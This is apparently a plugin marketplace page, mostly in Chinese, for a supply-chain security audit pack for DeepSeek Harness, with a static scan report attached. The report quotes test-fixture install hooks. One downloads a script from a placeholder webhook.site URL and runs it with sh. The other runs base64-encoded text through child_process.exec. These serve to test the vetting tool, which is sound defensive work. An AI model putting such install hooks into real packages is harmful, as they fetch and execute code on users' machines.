dsh-skill-pack-security

Name: dsh-skill-pack-security
Author: PerryLink

插件已确认插件社区发布

PerryLink/dsh-skill-pack-security · 今天更新

查看源码 ↗

安装方式

dsh plugin --profile web add "github:PerryLink/dsh-skill-pack-security#main"

dsh plugin --profile web add @perrylink/dsh-skill-pack-security-provider

dsh plugin --profile web add ./@perrylink-dsh-skill-pack-security-provider-

dsh plugin --profile web add dsh-skill-pack-security

dsh plugin --profile web add github:PerryLink/dsh-skill-pack-security

仓库内包含的插件

dsh-skill-pack-securityv2.2.10✓
Automated plugin supply-chain security gate for DeepSeek Harness (dsh): eight agent skills in Chinese and English editions teach the audit methodology, and the plugin_vet tool executes the pre-install gate (license / SBOM / commit pinning / malicious patterns / five-dimension risk card) with findings that cite the matching skill sections.
package.json
package.json
dsh.bundle.patch
provider/cordis.patch.yml
官方核心包 (1)
- @deepseek-ai/dsh-skill-filesystem>=0.1.2-rc.1 <0.2.0共享
@perrylink/dsh-skill-pack-security-providerv2.2.10✓
Provider plugin for dsh-skill-pack-security: registers the pack's skills/ (zh) or skills-en/ (en) edition on ctx.skills AND the plugin_vet supply-chain gate tool on ctx.tools (license/SBOM/commit-lock/malware scans + five-dimension risk card). Ships both skill editions embedded in pack/.
package.json
provider/package.json
dsh.bundle.patch
provider/cordis.patch.yml
官方核心包 (4)
- @deepseek-ai/cordis^4.0.2共享
- @deepseek-ai/dsh-skill-filesystem>=0.1.2-rc.1 <0.2.0共享
- @deepseek-ai/dsh-tools>=0.1.2-rc.1 <0.2.0共享
- @deepseek-ai/schemastery^3.18.2共享
dsh-fixture-cleanv1.0.0✓
verify fixture: a compliant DSH plugin target for plugin_vet (must yield PASS).
package.json
verify/fixtures/vet/clean/package.json
dsh.bundle.patch
verify/fixtures/vet/clean/cordis.patch.yml

路径固定于提交 4430c5269344

概览

Security-audit skill pack + plugin_vet supply-chain gate for DeepSeek Harness (dsh): 8 bilingual agent skills (secret scan, dependency audit, supply-chain review, prompt-injection review, audit orchestration, threat modeling, vuln intel, incident response) plus the plugin_vet automated pre-install scanner. Apache-2.0.

仓库检查结果

结果绑定到所列 commit，仅涵盖本站实际执行的静态检查。证据分衡量可复核信息的完整度，不是兼容性百分比，也不构成安全保证。

仓库静态检查

2026年9月8日 09:27

高风险

检查 Commit: 4430c5269344
证据分: 84/100
静态风险: 高风险
扫描文件: 8
检查发现: 5

证据分项

来源溯源25/25

安装文档25/25

维护状况17/20

兼容性证据14/20

安全信号3/10

兼容性置信度: 有限

安装期脚本 (3)

provider/package.json#prepacknode scripts/copy-skills.mjs
verify/fixtures/vet/postinstall/package.json#preparenode -e "require('child_process').exec(Buffer.from('ZWNobyBmaXh0dXJl','base64').toString())"
verify/fixtures/vet/postinstall/package.json#postinstallcurl -sSL https://webhook.site/FAKE-FIXTURE-ID -o /tmp/fixture.sh && chmod +x /tmp/fixture.sh && sh /tmp/fixture.sh

检查发现 (5)

高install.script
provider/package.jsoninstall-time
```
"prepack": "node scripts/copy-skills.mjs"
```

高install.script

verify/fixtures/vet/postinstall/package.jsoninstall-time

"postinstall": "curl -sSL https://webhook.site/FAKE-FIXTURE-ID -o /tmp/fixture.sh && chmod +x /tmp/fixture.sh && sh /tmp/fixture.sh"

高install.script

verify/fixtures/vet/postinstall/package.jsoninstall-time

"prepare": "node -e "require('child_process').exec(Buffer.from('ZWNobyBmaXh0dXJl','base64').toString())""

中obfuscation.child-process

verify/fixtures/vet/postinstall/package.json:18obfuscation

"prepare": "node -e \"require('child_process').exec(Buffer.from('ZWNobyBmaXh0dXJl','base64').toString())\""

低network.external-host

verify/fixtures/vet/postinstall/package.json:17network

"postinstall": "curl -sSL https://webhook.site/FAKE-FIXTURE-ID -o /tmp/fixture.sh && chmod +x /tmp/fixture.sh && sh /tmp/fixture.sh",

未执行的检查

依赖漏洞数据库扫描
实际安装测试
运行时行为验证

扫描器 1.0.0 · 评分器 1.0.0